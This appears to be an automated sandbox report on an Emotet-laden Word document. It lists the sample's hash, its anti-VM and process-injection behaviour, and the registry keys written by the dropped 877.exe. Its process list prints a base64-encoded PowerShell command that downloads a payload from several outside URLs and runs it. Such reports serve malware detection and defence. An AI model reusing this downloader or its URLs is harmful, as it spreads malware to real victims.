Task
task1
Sample
Docs_8284e996aea8e5075256c03a93eaa6df.21.doc
Resource
win7
0 signatures
Task
task2
Sample
Docs_8284e996aea8e5075256c03a93eaa6df.21.doc
Resource
win10
0 signatures
General
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Target
Docs_8284e996aea8e5075256c03a93eaa6df.21
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Sample
191011-z1vclq6nae
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SHA256
9e1d7cd63b0edcb4b3c4b1c86ecf477245ba82b4291bf26484fe2dd6cd9d12a1
Score
N/A
Malware Config
Signatures
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Suspicious behavior: AddClipboardFormatListener
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Suspicious use of SetWindowsHookEx
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Processes:
WINWORD.EXEat description ioc Process 58906 File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm WINWORD.EXE 59391 File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm WINWORD.EXE 66719 File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_8284e996aea8e5075256c03a93eaa6df.21.doc WINWORD.EXE 72453 File created C:\Users\Admin\AppData\Local\Temp\~$cs_8284e996aea8e5075256c03a93eaa6df.21.doc WINWORD.EXE -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
SppExtComObj.exepowershell.exe877.exeat description Process procid_target 59188 PID 3544 wrote to memory of 3540 SppExtComObj.exe 42 143156 PID 4068 wrote to memory of 1072 powershell.exe 48 145828 PID 1072 wrote to memory of 1344 877.exe 49 -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc Process 65797 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer WINWORD.EXE 65797 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
WINWORD.EXEat description ioc Process 65797 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 65797 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE 65797 Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE 65797 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE 65797 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
Processes:
WINWORD.EXEat description ioc Process 65797 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 65797 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of FindShellTrayWindow
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Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exeat description Process 124750 Token: SeDebugPrivilege powershell.exe -
Suspicious behavior: EnumeratesProcesses
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Modifies registry class 1 TTPs 47 IoCs
Processes:
877.exe877.exeat description ioc Process 145266 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1 877.exe 145266 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\ = "Recalc Document" 877.exe 145266 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\DefaultIcon 877.exe 145266 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\DefaultIcon\ = "C:\\Users\\Admin\\877.exe,0" 877.exe 145266 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\ddeexec 877.exe 145266 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\ddeexec 877.exe 145281 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\ddeexec\ = "[open(\"%1\")]" 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print\ddeexec 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print 877.exe 145281 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print\ddeexec\ = "[print(\"%1\")]" 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto\ddeexec 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto 877.exe 145281 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto\ddeexec\ = "[printto(\"%1\",\"%2\",\"%3\",\"%4\")]" 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\command 877.exe 145281 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\command\ = "C:\\Users\\Admin\\877.exe /dde" 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print\command 877.exe 145281 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print\command\ = "C:\\Users\\Admin\\877.exe /dde" 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto\command 877.exe 145281 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto\command\ = "C:\\Users\\Admin\\877.exe /dde" 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.RCL 877.exe 145281 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.RCL\ = "Recalc.Document.1" 877.exe 145281 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.RCL\ShellNew 877.exe 145281 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.RCL\ShellNew\NullFile 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\ = "Recalc Document" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\DefaultIcon 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\DefaultIcon\ = "C:\\Users\\Admin\\877.exe,0" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\ddeexec 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\ddeexec\ = "[open(\"%1\")]" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print\ddeexec 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print\ddeexec\ = "[print(\"%1\")]" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto\ddeexec 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto\ddeexec\ = "[printto(\"%1\",\"%2\",\"%3\",\"%4\")]" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\command 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\open\command\ = "C:\\Users\\Admin\\877.exe /dde" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print\command 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\print\command\ = "C:\\Users\\Admin\\877.exe /dde" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto\command 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Recalc.Document.1\shell\printto\command\ = "C:\\Users\\Admin\\877.exe /dde" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.RCL 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.RCL\ = "Recalc.Document.1" 877.exe 145969 Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.RCL\ShellNew 877.exe 145969 Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.RCL\ShellNew\NullFile 877.exe -
Processes:
877.exedescription ioc Process Event created Global\E145925EC 877.exe -
Suspicious behavior: EmotetMutantsSpam
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emotet family
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_8284e996aea8e5075256c03a93eaa6df.21.doc" /o ""1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:1012
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:3544
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:3540
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADAAOQAwADUAMAAyADAAYwA5ADAAYwA1AD0AJwBiADgAMQAzADcANgAzADQAMwA5AGMAMABjACcAOwAkAGIAeAAyADQANwAwADQANgAwADUAMgAgAD0AIAAnADgANwA3ACcAOwAkAHgAOQAwADEAeAA0ADMAMQAyADMANQAzAD0AJwB4AGIAYwA5ADEAMgAyADAANAAzAHgAJwA7ACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgB4ADIANAA3ADAANAA2ADAANQAyACsAJwAuAGUAeABlACcAOwAkAHgAMwBjAGIAMAA0ADIAOQA1ADcANgA4AD0AJwBjAHgAMQB4AHgAeAB4ADYAYgA4ADUAJwA7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAGwAaQBFAE4AVAA7ACQAYgBjADMAMwAwADEAOAAwAGMAMAA4AD0AJwBoAHQAdABwAHMAOgAvAC8AdABoAGUAcwBpAGwAdgBlAHIAYQBuAHQALgBjAG8AbQAvAHQAZQBzAHQALwBkAHYAcgA5AC8AKgBoAHQAdABwADoALwAvAGYAaQByAHMAdABtAG4AZAAuAGMAbwBtAC8AdwBwAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAawA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGkAdAB5AGwAYQBuAGQAZwBvAHYAYQBwAC4AbgBlAHQALwA4AGQAcQBzADUAZgB2AC8ANgBKAC8AKgBoAHQAdABwADoALwAvAGQAZQByAGUAZABpAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBjAGIAYQBzAC8AKgBoAHQAdABwADoALwAvAGYAYQB0AHQAbwByAGkAYQBpAHAAbwBuAHQAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAxAHcAaQBFAHEAUABmAE4ALwAnAC4AIgBTAHAAYABsAGkAdAAiACgAJwAqACcAKQA7ACQAeAAzADMANgBjADUAMAAxADAAYgAyADcAPQAnAGIAOQA2ADcAYgAxAHgAMgAwADEAMgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAzADcANQAwADAAOAAxADAAMAA1ADcAYwAgAGkAbgAgACQAYgBjADMAMwAwADEAOAAwAGMAMAA4ACkAewB0AHIAeQB7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAAuACIAZABPAFcAbgBMAGAATwBhAGQAZgBgAEkATABFACIAKAAkAHgAMwA3ADUAMAAwADgAMQAwADAANQA3AGMALAAgACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJABiADYAMgA2ADgAMQB4AGMAMwBjAHgANAA9ACcAeABiADAAMAA1AGIAMAA1ADAANgB4ADMANQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGIANAA4ADAANwA5ADAANwAwAGIAMQA5ADIAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADcAOQAxADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AEEAYABSAHQAIgAoACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJAB4ADIAYgAwADcAOAA3ADcAOAA0ADAAMAA9ACcAYgAxADAAMgAwADEAMAAxADAAMAA2ADAAJwA7AGIAcgBlAGEAawA7ACQAYgAyADAAOAAyADAAeAAwADIAYwAzADMANQA9ACcAeAAxAHgAMQAxAHgAMAA0AGMANQA4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIAYwA1ADkAMAAwAGIAMwA4ADEAOAAyADcAPQAnAGMAMAA3ADkAOAAwADkAOQA2ADgANgA4ADkAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:4068
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C:\Users\Admin\877.exe"C:\Users\Admin\877.exe"1⤵
- Suspicious use of WriteProcessMemory
- Modifies registry class
PID:1072
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C:\Users\Admin\877.exe--406b05561⤵
- Modifies registry class
- Emotet Sync
PID:1344